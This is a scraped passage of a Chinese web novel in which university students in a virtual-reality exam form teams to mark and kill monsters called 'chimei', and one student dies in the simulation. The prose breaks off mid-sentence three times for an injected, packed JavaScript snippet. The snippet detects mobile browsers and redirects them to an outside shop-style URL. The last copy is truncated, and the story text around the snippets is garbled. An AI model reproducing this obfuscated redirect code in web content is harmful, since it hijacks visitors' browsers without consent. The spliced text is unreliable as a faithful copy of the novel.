“这规则是不是从某射击游戏里抄的?”黎子鸣小声吐槽了一句。 吐槽归吐槽,但这也说明随着安全区范围的缩小,各个队伍之间的竞争会越来越大。但资源是有限的,如何合理的搜集和分配资源,维持长久的运营,也会是考试中很重要的一环。 但这个道理不是谁都明白的,比如几人旁边的那组,隐约传来“干就完事”的字眼。 “最后,请各位考生务必注重自己在模拟系统内的人身安全,这不是游戏。如若出现队伍成员阵亡的状况,每一位阵亡者会扣除队伍总分的20%。” 意料之中的规定,模拟系统是让大家切实演练面对魑魅的各种情况,不是让人毫无后顾之忧地莽撞去死。 “接下来有十分钟的提问环节,每组可以问一个关于规则问题,给大家五分钟时间讨论。” 很快,现场嘈杂起来,大家都是第一次经历这种考试类型,最直观的感受是像看电影看动漫,居然真的能进入另一个空间操纵虚拟的身体,大家对于系统的讨论热度明显已经超过了对于规则本身。估计只有当他们真的进入系统内才能知道,现实和想象的可一点都不一样。 五分钟的时间很快过去,看得出来,大家对规则都有疑问,提问的环节许多队伍都显得异常积极。 现场的老师维护了一下秩序,随后由从右到左的顺序依次发问,林欣予他们排在第一的位置。 他们要提出的问题几乎没有悬念: “地图内的资源,包括附魔资源吗?” 广播沉默一会儿,模棱两可地回答道:“地图内的资源只需要用心收集,就可以满足各位进行任意活动的需求。” 约等于点头的回答。林欣予心里盘算了一下,只要地图内有附魔资源,队伍里有两个附魔师,足以满足黎子鸣的需求。 只有黎子鸣能发挥作用,林欣予才能更好的去探究,期末考题里到底藏了什么秘密,让那几个妖怪和物零社都如此在意。 第一个问题很快过去,马上来到第二个问题。站在林欣予他们旁边的组,为首的是个浑身腱子肉的男生,看着不像是大学生,倒像是个健身房教练,整个组看上去都杀气腾腾的样子。提问也延续了这个风格: “击杀得分和标记得分是分开计算的吗?我的意思是,如果我们击杀了其他组标记过的魑魅,分算谁的?” 广播里的声音回答迅速:“谁击杀,谁得分。” 倒是简洁明了,两个对策方式的分数是分开计算的,但饶是如此,5:2的分数差距还是太大了,更何况击杀的风险性远远大于魑魅。 再往右数一个队,为首的是一个高挑的女生,带着副框架眼镜,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294602|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去和某位姓方的老师长得相似,开口说话好像也带着股令人不舒服的刻薄味: “标记得分是以信号枪命中为准吗?不会是谁先看到,谁得分吧?” “以信号枪命中为准。” 眼镜女轻笑了一声,好像在心里打定了一些主意。 站在她后面的,有个有些瘦弱的男生,穿着洗得发白的衣服,好像想说什么,几次向前探身子,又默默缩了回来。 林欣予注意到,身旁的欧阳奕萱在看那个男生,神情有些复杂。 “你跟何凯很熟?”林欣予问。那男生名叫何凯,是班里知名的老实人,家里情况不是很好,一直在领贫困生补助。 “算是吧。”欧阳奕萱皱了皱眉:“老师也跟你说过我之前队伍里发生了什么,他是我之前队伍的队长,对我还不错,毕竟我给他的钱不算少,帮他解决了不少生活困难吧。” 精致的大小姐吹了吹自己美甲上的灰:“看他在那个组里面,好像有点不适应的样子。要我说,当时把那个刺头男生赶出去就行,不知怎得闹到最后我们组没了。” “……行,当我没问。”林欣予大概知道他们组当时为什么会闹得那么惨烈了。欧阳奕萱说的那个刺头男生她也认识,正在那个杀气腾腾的组里杀气腾腾地盯着这边看,不算是个好惹的主。再加上欧阳奕萱这幅毫不掩饰的有钱人丑恶嘴脸,确实很难不产生冲突。 好吧,其实问题不在有没有钱,而在于这大小姐对人的态度和说话的方式,不管怎样都称不上让人舒服。 苏佑容见林欣予和欧阳奕萱挨得有点近,把她拉回来几分,用只有两人能听见的声音说道:“你别太管她,她就是那样的人,我们这考试感觉要命运多舛啊。” “你们是有什么计划?”一旁的黎子鸣看着俩人鬼鬼祟祟说话,不禁有些好奇:“我不能听?” “能听,能听。” 苏佑容一把也把黎子鸣拉来,三人为了个小圈,倒是把大小姐彻底隔绝在外边了。不过大小姐好像也不甚在意的样子,还在那专注地欣赏自己新做的美甲。 “我是这样想的。”苏佑容又把声音压低了几分:“我想进入地图以后,就把她彻底撇开。” “撇开?”没想到林欣予先有点震惊:“再怎么说也是一个组的,这样不好吧。” “你居然会说这种话?”苏佑容也有些惊奇:“我还以为也就黎子鸣会反驳我两句,你是一定会赞同我的。” “别开玩笑了,她一个女生,我们把她撇走了,她自己怎么办?” “女孩子的惺惺相惜啊……” “你别阴阳怪气。” 苏佑容叹了口气,缓缓解释道:“你们不熟悉她,我和她还算熟,家族交流之类的活动里见过很多次,那大小姐在我们圈子里是知名的不好伺候的主。” “咱们进去考试是要打打杀杀的,可没工夫伺候大小姐。” 林欣予倒是没把苏佑容这话当回事:“你这大少爷也好意思说人家啊。” “那能一样吗!?”苏佑容差点急得跺脚:“你听她刚刚说那些话,我能说吗?我也没用钱羞辱你们啊。” “……”林欣予懒得吐槽,虽然她从欧阳奕萱那几句话里能听出来点端倪,但她也确实做不到一开始就把人家撇出去。 最重要的是,她没在这姑娘身上感受到恶意。 “先看看情况吧,我不赞同一开始就抛下她。”林欣予明确地做出自己的选择。 一旁沉默的黎子鸣也弱弱出声:“我也不赞同……” “靠!”苏佑容一跺脚:“行,到时候别怪我没提醒。” 这动静倒是惊到了一旁的欧阳奕萱,她疑惑道:“怎么了?” “没什么。”林欣予走过去,拍了拍她的肩膀。 林欣予突然意识到自己为什么会对欧阳奕萱产生一些关照的情感,或许是她和自己一样被其他人排斥的处境,有过同样感受的自己,不自觉地想要帮助也陷入了同样境地的人。 广播里林睿雅的声音,把几人的思绪拉回正事上:“最后一回问题,请第四组提问。” 第四组,看上去是几个组里最弱的一个,几个成员都处于班级的中等水平,没拿过什么成绩也没犯过什么错误。 说白了就三个字:“小透明”。 而就是这个小透明组,问出了一个教务组觉得最关键的问题。 “老师,您说成员阵亡要扣20%分,我想问在遇到险情时,考试内有主动脱离系统的选择吗?如果能主动脱离系统,还会扣这20%的分吗?” “问得好。”广播里的声音似乎都带了点笑意:“考试内当然能够主动脱离系统,进入考场后每人的手腕会佩戴一个写有考号的手环,当你觉得无法坚持时,可以主动破坏手环上的小锁扣,即可脱出系统。并不会扣除20%的分数。” 说到这,广播又加了一句:“每人的手环均只有自己才能破坏。” 这句话仿佛在明示,别想通过故意破坏别人手环的行为强迫别人出局。 听到这条规则后,各个队伍的表情都有些细微的变化,有些觉得无所谓,有些觉得更安心了,有些咂了咂舌,估计是觉得不能通过这种方式淘汰对手十分可惜。 “好了,提问环节结束。请各位学生在老师的指导下进入模拟仓内,期末考试将在10点整开始。” “祝各位取得优异的成绩。” 46.谋划与布局 【场景加载完成。】 【AI模型加载完成。】 【主控模型构完成。】 【请考生选择附魔器类型:】 【选择完毕,加载中……】 【加载完毕。】 【请考生做好操作准备,考试开始。】 一阵青蓝色的光芒过后,眼前的视野又逐渐清晰起来。 林欣予环顾四周,周围只有自己组的成员,大家穿着统一的服装,是物零社的任务制服,类似运动服,主打一个方便行动,这也是本次考试所有成员的固定服装。 除此之外,周围的环境像是在一个村落里,周围都是青砖黛瓦的老宅子,看上去十分复古。但窗户却是由玻璃制成的,有些窗户还有点彩窗工艺。除此之外,许多宅邸都建着由石料制成的门框,用传统木结构和石砖共同制成,倒是多了几分现代的气息。天气正好,不冷不热,阳光偶尔洒下、偶尔被云层遮住,更显得周围静得可怕。 刚刚进入系统的四人稍微适应了一下,随即,除了欧阳奕萱以外的三人都开始熟练地探寻周围的环境。 苏佑容从系统菜单里调出地图,这是系统自带的,每个人都能在自己的菜单里看见。但是为了方便大家一起讨论,苏佑容把地图投影到空中,展现在所有人面前。 “这次的地图,一半是山林,一半是城镇。”他标出一个光点,是几人所在的位置,“我们传送到了最中心的地方,在山脚下,城镇的边缘。是个不错的位置,至少第一次安全区缩小的时候我们不用转移位置。” “但不好的地方也有,根据这个地图分布,我估计大部分资源都在城镇地区,咱们还是得去找,那就避免不了和其他队伍产生冲突……” “等一下。”突然,一个声音打断了他,是欧阳奕萱:“我不知道你们之前商量了什么对策,但现在我也是小队的一员,能不能给我解释一下为什么你们这样分析,现在不应该寻找魑魅标记得分吗?我们的目的不是安全的活到最后吧?” “你怎么这种道理都不明白……”苏佑容刚想嘲讽人,就被林欣予止住了,她挡到两人中间,语气稍微缓和: “没事,你先前确实不知道,我解释一下。” “这次的考试除有很多隐藏的难点,其中最重要的一点其实是资源的存续。” “你还记不记得规则?标记魑魅需要信号弹,但每个队伍的初始信号弹只有十发。也就是说,想要更多的标记资源,就需要我们自己去寻找。” “刚进地图,其他队伍大多都会先考虑直接进行标记,而我们着重垄断资源,这样后期就不会陷入资源匮乏而损失分数,同时也能遏制其他队伍得分。” “除此之外,你应该也能发现,自己的身体状态和现实里相差无几,我估计之后我们也会感觉到饥饿和疲惫,所以还得寻找消除这些负面状态的资源。” 欧阳奕萱听得一怔一怔,到底是跟上了,她想了想,开口说道:“但魑魅不也属于有限资源吗?能得分的魑魅就那么多,其他队伍前期取得的分数差,后期不一定能追上。” 她说到这里,饶是苏佑容的表情也变了一变,他本以为这大小姐无非是被塞进来当混子混分数,现在发现对方还是有在认真对待考试。 “这就得提我们另一个策略。”林欣予一把拽过黎子鸣,脸上笑容灿烂:“标记和击杀的得分,我们都要。” 黎子鸣作为物零社的大红人,欧阳奕萱肯定认识,但也仅限于有所耳闻,她没见过黎子鸣对付魑魅,对他的能力也只听过传闻,万万没想到这个队伍会把黎子鸣当成一大杀手锏。 “我没记错的话,他的能力会使附魔器碎裂。” “没错。”林欣予点点头:“所以我才会问附魔资源。” 她朝苏佑容使了个眼色,苏佑容心领神会,从背包里拿出自己的初始附魔器,直接扔到了黎子鸣怀里。 黎子鸣最擅长的武器类型是匕首,他自己自然是选择了匕首,而苏佑容选择了和他一模一样的附魔器类型,目的就是进场让黎子鸣多件附魔器用。林欣予选择的是她擅长的投掷形飞镖,欧阳奕萱则是选用的常规长剑。 “前期,我们也不是除了收集资源什么都不做,我们的次要目标是,猎杀其他组标记过的魑魅。”林欣予接着解释道:“我和苏佑容都是附魔师,只要有资源,就足以供给黎子鸣的需要,而黎子鸣只要有足够的附魔器,魑魅在他面前就跟纸糊的一样。” “你、你们……”欧阳奕萱的震惊无以言表,这个组实在是太奇怪了,完全不符合常理。先前她在的小组在任务中也遇到过魑魅,当时指导老师夏玉薇的选择是护着他们先离开,随后通知总部,由经验丰富的除魅师前去处理。而目前这几人的计划却是,见到魑魅就杀? “没记错的话,你也会一些附魔的技巧?”林欣予问道:“可以一起来,毕竟这种需要密集战斗的情况,只有我俩供给黎子鸣的需求,还是会有些费劲的。” 欧阳奕萱只觉得脑袋一团浆糊,顺着话就答应了下来,实则完全没思考对方在说什么。一番简单的解释过后,作战计划的讲述重新回到苏佑容的主导中。 “我刚刚又看了眼地图,”苏佑容指着地图投影,“虽然我们现在周围看着像个农村,但我通过地图的建筑规模看,这边至少是个城镇,只不过,和我们所在的时代不太一样。” 他用手比划着:“这条比较宽的路,应该是城镇主干道,周围应该都是商业用地,这里的资源肯定是最密集也最优质的,我们接下来就去这里。” 旁边一直沉默的黎子鸣,看着这个地图,歪了歪头,突然说道:“你们不觉得,这个地图很眼熟吗?” “?” 黎子鸣走上前,把投影上下左右翻转了一下,说道:“这条河的走向,不觉得很像申海的定龙江吗?” 众人纷纷凑上前,然后惊呼出声:“真的诶!” 苏佑容沿着水路画了一下:“那地图的边缘这里,就是入海口,那城镇旁边这座山……” “江祁山。”出乎意外地,欧阳奕萱接道:“确实,看等高线走向,和现实里的江祁山走向是一模一样的。” “所以,这里其实是按照申海的地图建的。”林欣予环顾四周,周围的建筑怎么都看不出来现代的风格,根据她的记忆,江祁山山脚现在有个旅游景点,周围都是网红打卡地。 她搜寻了一下自己的记忆,慢慢说道:“这里的建筑风格,其实很像民国时期的建筑。那些房屋的门楣是砖雕青瓦顶门头,外墙却是西洋风的雕花刻图,房屋排列都很像欧洲的别墅联排。” 其实有的时候,知道的太多、想得太多,不一定是好事。就比如现在,几个人都拿出自己的知识储备分析现状,却没料到只要往主要街道走几步,就能明显看出来这片地图的民国风格和布局。 当然,现在大家对于这么短时间内了解到了这么多地图内容,已经十分欣喜了。 “也就是说,这里其实是民国时期的申海。” 大家得出这个结论,也只用了十分钟的时间。该说不说,这个组有三个之前就参与过系统测试的成员,对其他组多少有些不公平,因为在其他组还在熟悉菜单和背包的操作方法时,他们就已经做好了所有行动准备。 又讨论几句过后,大家一致决定,先前往城镇主干道,搜刮物资。 “对了,”苏佑容突然想到什么,从背包里拿出一把通体红色的信号枪:“我是组长,信号枪自动分配给我了,大家觉得谁拿着比较好?” “你多余问这句,当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303214|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你自己拿着。”林欣予呛了他一句,“你的射击成绩是我们四人里最好的。” 说到底,苏佑容这次拢共三个任务,布局、标记、附魔,虽然没给他分配打架的活儿,但其他的事情都揽下来了。不过拿着信号枪也证明,他会成为其他组员保护的中心。 说着话,大家已经朝着主干道走去。欧阳奕萱和其他人还是保持着一点距离,但显然没有刚开始的那么遥远。 她其实能感觉到,这个组奇奇怪怪,好像在慢慢地接纳自己。就像林欣予前面说“你的射击成绩是我们四人里最好的”,明显就是把欧阳奕萱也算了进去。 这是她之前在别的组里没感受过的归属感。 看到欧阳奕萱落到后面,林欣予也稍微放慢脚步,走到她旁边:“感觉还好吗?我们组日常思维比较跳跃,习惯习惯就好。” “挺好的。”欧阳奕萱笑着点了点头,“你有没有什么喜欢的化妆品牌子啊?结束后我送你一点吧。” “……没事,我不太追求名牌什么的。”林欣予有点不知道说什么,欧阳奕萱习惯性用物质去衡量人与人之间的情感,但许多时候,情感不是凭借金钱嫁接的。 但看到欧阳奕萱确实在渐渐融入这个团队,大家心里都觉得是好事。除了苏佑容,他讪讪地认为这大小姐还在装,迟早会露出丑恶的嘴脸。 不过苏佑容只在乎期末考的得分和排名,不拖后腿,他也不会说什么。 地图并不大,几人走了十分钟左右,就来到了主干道地区。期间他们还确认了一件事情,那就是地图里没有任何可交流的AI,估计是目前的技术还没办法承担考生的模拟数据和AI数据同时运行,所以整座城市除了建筑以外空空荡荡,像个阴森的鬼城。 主干道确实十分繁华,街道有将近30米宽,道路中间的地砖上铺着有轨列车的轨道,两侧是大大小小琳琅满目的商铺,餐厅、服饰店、书店、邮局、银行、医馆等等,应有尽有。 苏佑容看了看四周,戳了戳黎子鸣的胳膊:“你有什么感觉吗?” 黎子鸣闭上眼睛,似乎在感知着什么,片刻过后他缓缓开口:“没有,这附近没魑魅。” “行,那我们分头行动搜刮物资,效率高点。” “等下,什么意思?”欧阳奕萱愣住了,看着黎子鸣那边满脸的不可置信:“你能直接感知到魑魅?” 黎子鸣用手比划了一个小范围:“只能感知到范围内一点微弱的气息。” 欧阳奕萱满脑子只剩下了三个字——真离谱。她总算知道为什么这个组能在各个考核中霸占第一的位置,这个组里的每个人都跟开挂一样离谱。 “别唠嗑了,干活干活。”苏佑容开始招呼:“那边的邮局、书店和银行我包了,估计没啥东西,但以防万一先看看。” 林欣予点点头,目光投向远处:“我去那边的五金店。”这地方就差把“我有附魔材料”写在招牌上了。 黎子鸣绕了一圈,停在餐厅门口:“那我找点吃的喝的吧。” “我……”欧阳奕萱有些局促,她到底还是跟不上几个人的节奏,踌躇了好久,瞄准角落里的医馆:“那我去那边的医院看看。” “医疗资源啊……”苏佑容扶着下巴思考,他在想这个队伍需不需要医疗资源,其实凭借黎子鸣的能力,几人几乎不可能受伤,那医疗资源只会白占背包的空间,但万一…… 就在他这样思索的时候,三声尖锐的系统警报声突然响彻晴空! 滴——滴——滴—— 这三声警报像是一把锤子,重重地在每个人的身上砸了几下,连天空似乎都在一瞬间变得阴云密布,大雨将倾。 随后,毫无感情的系统提示音响起: “第四小队,阵亡一人。” 47.第一个阵亡 段梦婷是个很常规的普通人。 虽然她学习不算好,但也能处于中流;虽然她不擅长社交,但也有一两个交心的朋友;虽然她没有超人的体能,但也能在各个体侧中勉强及格;虽然她没有出众的外貌,但也算是个不难看的女生。 虽然各种奖项评比,站在台上光鲜亮丽的人里没有她;但那些被通报批评,灰头土脸地接受教育的人里也没有她。 如果要问辅导员,段梦婷怎么样?辅导员思考几分钟,打开微信,能发现她还没有加上对方,甚至没有把她拉进最新的消息通知群里。 段梦婷也没觉得这有什么,她的目标就是无功无过的过完一生。而人生的第一个转折点是,她看见了普通人看不见的东西。 虽然父母都是普通人,但她天生拥有了灵力,接触到了这些以后,不可避免地知道了物零社的存在。而她的父母听闻物零社是半个官方组织,从这里毕业可以直接获得编制,迫不及待地把她塞了进去。 于是段梦婷换了个地方继续自己无功无过的一生。 但很快,她就迎来了第二个转折点。期中测评的小组里突然来了一个富家千金,而千金在进组之后,给每人转了三万块钱。 放小说里估计会让人觉得抠门,但对于还没正式进入社会的大学生来说,三万块钱是至少一年的生活费。 名为欧阳奕萱的富家千金看上去光鲜亮丽,虽然有不少公主脾气,但出手足够阔绰,让人觉得她有钱她有理,带着段梦婷窥见到另一种人生活的世界。 但不是谁都享受被钱砸的感觉,队伍里还有个叫戈鸿志的男生,或许和他名字里的“鸿鹄壮志”一样,他不甘于被一个女人呼来唤去,和对方大吵一架,最后闹得队伍彻底解散。 四散的几人被塞进了不同的队伍,而段梦婷进入的这队,她一看就知道,这队人和自己都是同类人。 他们的存在是为了衬托那些或优秀或恶劣、但总归夺人瞩目主角,他们是站在光亮的暗影后的透明人。 磕磕绊绊到了期末考试,这个小透明队伍却为队长是谁犯了愁。期中测评对队长没有要求,但期末考试要求每组选一个组长,大家都不想当,都在用各种理由推脱——直到段梦婷举起了手。 或许她也能试着,成为站在光里的人。 她想着,努力迈出了第一步。 但梦很快就被打破了。 当进入系统的青蓝色光芒消失的时候,一股狂风把所有人掀翻在地,又把眼前的视野掀走大半。还没等大家回过神,段梦婷就听到了同伴的惨叫。 魑魅,黑色雾气组成的怪物,凝聚成难以言喻的恐怖模样,挥舞着利爪,眨眼间就撕裂了眼前同伴的身体。散发着铁锈味的血泼洒了一地,那只魑魅长着阴森的笑脸,像甩水一样甩了甩手上的血,又朝着其他几人的方向去了。 “跑!大家快跑!” 不知道是谁最先反应过来,队伍里传出一声尖叫,大家好像这会儿才找回身体的控制权,连忙拿出十二分的力气四散而逃。段梦婷甚至忘了自己背包里的信号枪,明明得分点就近在眼前,她却除了逃跑什么都无法思考。 但跑着跑着,她突然停住了。 “段梦婷,跑啊!”同伴急忙叫她,想过来拉她的手,但她却突然把手甩开,朝着魑魅的方向跑去。 “小若还没死!”她看见了,最开始被袭击的女孩虽然流了很多血昏倒在地,但胸口还有起伏,“要救她!” “你疯了!你要和魑魅打?会死的!” “那也不能见死不救啊,那可是我们队友!” 段梦婷努力回想着自己在课上学到的一切,虽然她从来没有和魑魅实战过,但许多技巧都是课上有教过的,自己能顺利升到二年级,肯定代表自己已经掌握了那些技术,那就没问题! 她终于摸到了背包里的信号枪,来不及思考,她拿出信号枪对准魑魅直接扣下扳机。子弹拉出红色的尾光,击中魑魅的中心,但魑魅只是中心出现一个碗大的红点,脚步顿了一下,又立马朝前涌来。 信号枪没用。段梦婷咬了咬牙,连忙把信号枪收回背包,拿出初始附魔器,灌注灵力后使出全力一击—— 白光闪过,魑魅的身影虚了虚,左边身子出现一道裂痕。但它只是动作迟缓了一些,来势汹汹地攻击丝毫没有停止的意思。段梦婷躲避不及,右手手臂被划了一道口子,深可见骨,握在手上的附魔器差点掉落。 魑魅没有丝毫停顿,张牙舞爪地挥舞着锋利地肢体,又要朝着段梦婷刺去。 完了!段梦婷看着愈发逼近的攻击只觉得天昏地暗,刚刚分泌肾上腺素好像在这时候消耗殆尽了,她竟然挪不动身子,眼见又要被击中! “靠!跟它干了!” 几道白光招呼上来,硬生生把那魑魅打退几步。最先喊出“跑”的男生带着其他两人一起攻击上来,一时间竟是和那魑魅打得势均力敌。 “组长,你去救人!”其他三人一边拖住魑魅,一边朝着段梦婷大喊。肾上腺素也在这一刻恢复功用,她用此生难以想象的速度飞奔到昏厥在地上的女生旁边,背起她,朝着相反的方向拔腿就跑。 其余三人看到她背着人远去,也不恋战,不一会儿也从魑魅的攻击范围里逃了出来。 连续不停地跑了四五分钟后,几人跑出去一公里多的距离,找了个看着安全的地方,终于能歇下脚步。 “小若,小若你醒醒!”段梦婷把受伤女生放在地上,她最开始被魑魅攻击,胸口是一道狰狞的伤口,还在止不住地流血。 他们现在没有任何医疗资源,再这样流下去,这女生迟早会死。 “小若,你醒醒!破坏手环直接退出考试!” 幸存的几人你一言我一语地叫着女生的名字,但昏厥的女生没有任何苏醒的反应,只是身体在徒劳地愈发冰凉,脸上的血色越来越少。 段梦婷咬了咬牙,握住女生的手,用她手指捏住她手腕上的手环,却无论如何都无法破坏锁扣。 “为什么啊,连退出都不行吗!!!” 旁边的同伴男生面色沉了沉:“规则说只能自己破坏,估计必须要处于自己的意愿,但她……” 她现在昏迷不醒,如何自己破坏自己的手环? 不要啊……不要啊……段梦婷怔怔地看着眼前逐渐流失生命的女生,没有人告诉过她,在这模拟系统里面连死亡都如此真实。她已经有些分不清楚这是虚拟还是现实,只觉得自己握住的手肉眼可见地没了力气、没了温度,眼前的人就要这样永远都无法再度苏醒。 段梦婷突然感觉右臂刺痛,这才发现自己的右臂上也有一道深可见骨的伤口,而其他还活着的同伴,身上都有大大小小的伤。众人围坐在周围,垂着头,士气低垂。 考试才刚刚开始,大家不能这样下去。段梦婷是组长,她有义务给大家指明一个方向:“找,我们都去找找,地图里肯定有医疗资源……” 她说着,手里握着的手突然滑落了,重重砸在地上。 滴——滴——滴—— 三声尖锐的系统警报声划破晴空。 “第四小队,阵亡一人。” …… “怎么这么快就有人阵亡了?”苏佑容看了眼表,“考试才开始不到两小时,不会是传送到魑魅脸上了吧?” “那就是运气不好了。”林欣予应了一声,随机传送的话,确实会有这种可能,毕竟现实里的魑魅就是这样神出鬼没的。 听到其他队伍有人阵亡,几人并没有多大的反应,这毕竟只是个虚拟世界,阵亡也不过是游戏里的game over,除了影响最终得分外,也没什么好在意的。 除了欧阳奕萱,她念叨着“第四小队……”,想起自己之前的一个队友在那队,希望她别是阵亡的那个。 “别浪费时间了,各自搜索物资吧,一小时后还是在这里会和。” 苏佑容一声令下,大家都前往之前划分好的搜索区域,开展各自的工作。 一个小时很快过去,最先回来的是苏佑容。和他预料的一样,银行和邮局这种地方没什么有用的物资,他只在警卫处找到几件适合附魔的材料。 过了五分钟左右,林欣予也回来了,她明显收获颇丰,手上大包小包拎着,发出清脆的金属碰撞声音。她把包袱在苏佑容面前撂下,活动了一下肩膀:“今天接下来的任务定了?这些东西够我们折腾到晚上了。” 苏佑容目测了一下数量,点了点头:“差不多,够黎子鸣霍霍一阵了。” 说话间,欧阳奕萱的身影也出现在远处,不一会儿也回到了集合地点。只是她好像也没什么收获,手上只拎了一个素白色的帆布袋,看上去也没什么东西。 “我在医院转了一圈,但感觉大家好像不是很需要医疗资源,就想找找别的东西,结果……” 意料之中。苏佑容没指望这大小姐发挥什么作用,不过纯浪费一小时还是让人痛心,还不如去帮林欣予搬更多附魔物资来呢。他刚想叹气,又听到欧阳奕萱接着说道—— “结果找到很多这个。”欧阳奕萱用两根手指捏着帆布包肩带,像是嫌弃这包不干净,从里夹出一个红色的弹夹:“应该是信号枪子弹吧。” “!”苏佑容猛地来了劲,一个猛子扎到欧阳奕萱包里,不大的帆布包几乎被鲜红色的弹夹填满了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚到餐厅门口,几人就发现不对劲了。房间里的桌椅倒了一地,窗户玻璃碎了大半,看着像是经历了激烈的战斗。而似乎是要印证这个猜想,不远处的小巷里传来了打斗的声音。 “黎子鸣!”林欣予叫了声名字,没得到什么回应。她不禁有些着急,黎子鸣身上只有两件附魔器,要是遇到魑魅窝,他也凶多吉少。 但好在,打斗声也不是黎子鸣传出来的。 小巷的深处,突然蹿出来一个人,这人身上带着点擦伤,好像在吸引什么东西,跑两步停两步。不一会儿,他身后跟着的黑影也窜出来,赫然是一只魑魅。 几人一惊,苏佑容反应最快,一个闪身躲到林欣予身后。林欣予则是摸到别在自己腰间的飞镖,准备随时出手。 但突然,另一个霸道的声音制止了林欣予的动作: “不许动!那魑魅是我们组的猎物!” “戈鸿志?”欧阳奕萱看向声音来源的方向,赫然是个熟悉的身影。先前和她吵架导致小队解散的人,就是这个戈鸿志。 只见戈鸿志肩上扛着一把大砍刀,仰着头,趾高气扬地往前走,仿佛全世界都欠他什么一样。 “黎子鸣不在,你们就是一群战五渣,好好躲着吧,别一会儿被杀了!” 这人也不知道哪来的自信,目中无人的样子让人想踹他一脚。欧阳奕萱看着这人的眼神充满嫌弃,而戈鸿志也不怀好意地瞅着她这边。 林欣予把欧阳奕萱也往她身后挡了挡:“不抢你们猎物,我们就是听到声音来看看情况。” 听到林欣予这样说,戈鸿志好像还有些不满意:“嘁,算你们识相。” 他一边说着,一边又大摇大摆地走了,追着刚刚那人和魑魅消失的方向。而戈鸿志刚走没多久,黎子鸣从一边的围墙上探出头来。 “你们怎么过来了?” 好消息,黎子鸣没事;坏消息,苏佑容看着他那无所谓地样子气不打一处来,开口质问道:“废话!你一直没回去,我们都以为你出事了!” “没有,我是谁啊,怎么可能出事啊!”黎子鸣从围墙上跳下来:“刚刚看见他们打魑魅,我捡漏了两个,得了4分呢。” 林欣予黑着脸:“那附魔器呢?” 黎子鸣拍拍手上的碎屑:“没了啊。” “……你猜我们制作新的附魔器需不需要时间?” “啊!”黎子鸣这才大梦初醒,“我忘了!这里太真了,我还以为有充足后备补给。” “都不知道说你什么好。”林欣予扶额悲叹,事到如今也没有办法,乘早拿着物资找个安全的据点,开始储备附魔器才是要事。 但是…… “你们真的不好奇其他组的战斗策略和战斗水平吗?” 几人面面相觑,只在对方的脸上看见了肯定的答案。于是几人又统一把目光挪向戈鸿志离开的方向。 “追!” 48.短暂冲突 远处,戈鸿志离开的方向,空气都凝重起来,仿佛起了一层灰色的薄雾,看上去就十分不妙。最先察觉到不对劲的是林欣予,她看了眼地图,提示道:“这里靠近安全区边缘了,大家小心别迈出去。” 大家多多少少也意识到,看了地图确认边缘位置后,都点了点头。 戈鸿志的身影在前方不远处,他知道自己身后跟了四个人,但根本没把这四人当回事。苏佑容是出名的战五渣,黎子鸣没了附魔器连苏佑容都比不上,欧阳奕萱也是个娇身冠养的大小姐……唯一还有点战斗力的是林欣予,但她毕竟只是个女生,戈鸿志理所当然地看不起她。 要是让几人知道这人脑子里在想什么,估计会直接写成段子发到网上,标题就叫——“我可是男的”。 不提这普信的家伙脑子里在想什么,反正他不作为的态度很合几人的心意。他们跟上去也没想抢分,不过是了解一下对手的策略,本质没有冲突。 终于,他们看到了戈鸿志此行的终点。 最开始吸引魑魅逃窜的那个人,带着伤把魑魅引到了一个相对开阔的小广场里,而那里居然还聚集着三只魑魅,被他们队伍另外三个人拖延着,身上已经亮起被标记过的红点。 等到第四只魑魅被引来时,几只魑魅周身散发的黑雾倏然变得更加猛烈,像被加了助燃剂的火苗一样,在短短几秒钟里直飞云霄。 几乎是在看到这一画面的同时,林欣予和苏佑容就明白了这个队到底想干什么,而另外两人还没反应过来。 林欣予站在黎子鸣和欧阳奕萱中间,用不大的声音解释道:“多数魑魅聚集的地方,更容易产生诞生点,随后不断滋养已有魑魅,并创造新的魑魅。” “真是疯了。”苏佑容说道:“找不到原生诞生点,就通过人为制造来得分吗……被有诞生点能量加持的4只魑魅围攻,他们自己都很难脱身吧。” “我们别再靠近了,离远一点。”苏佑容接着吩咐,把几人的位置往后拉退几步:“要是他们打不过,咱们就直接跑。” 不用贪图这点分数,以自己队伍的策略来说,后期的得分点可是比地上爬的蚂蚁还要多。 反观戈鸿志小队那边,看到魑魅聚集的现象,脸上不畏反喜,没有一个人担忧后续解决的事情,可谓是非常自信。 被聚集的四只魑魅突然停止了攻击的动作,身体逐渐扭曲,化为一缕一缕的黑色烟尘,而烟尘的中央像是刮起龙卷风,瞬间把那些散开的黑色烟尘又聚拢在一起,螺旋着冲天而起,一股巨大的风裹挟着威亚在刹那间向四周扩开,如同爆炸后产生的冲击波,把远在50米开外的四人组都冲了个趔趄。 “成了!”那边小队的队员激动地高呼道,“戈鸿志,真有你的!这真是个天才办法!” 队员一边说着,一边拿出信号枪,瞄准旋涡的中心,只等魑魅旋涡彻底平静下来,就是个崭新的诞生点。他只需要扣下扳机,就能轻松拿到20分! 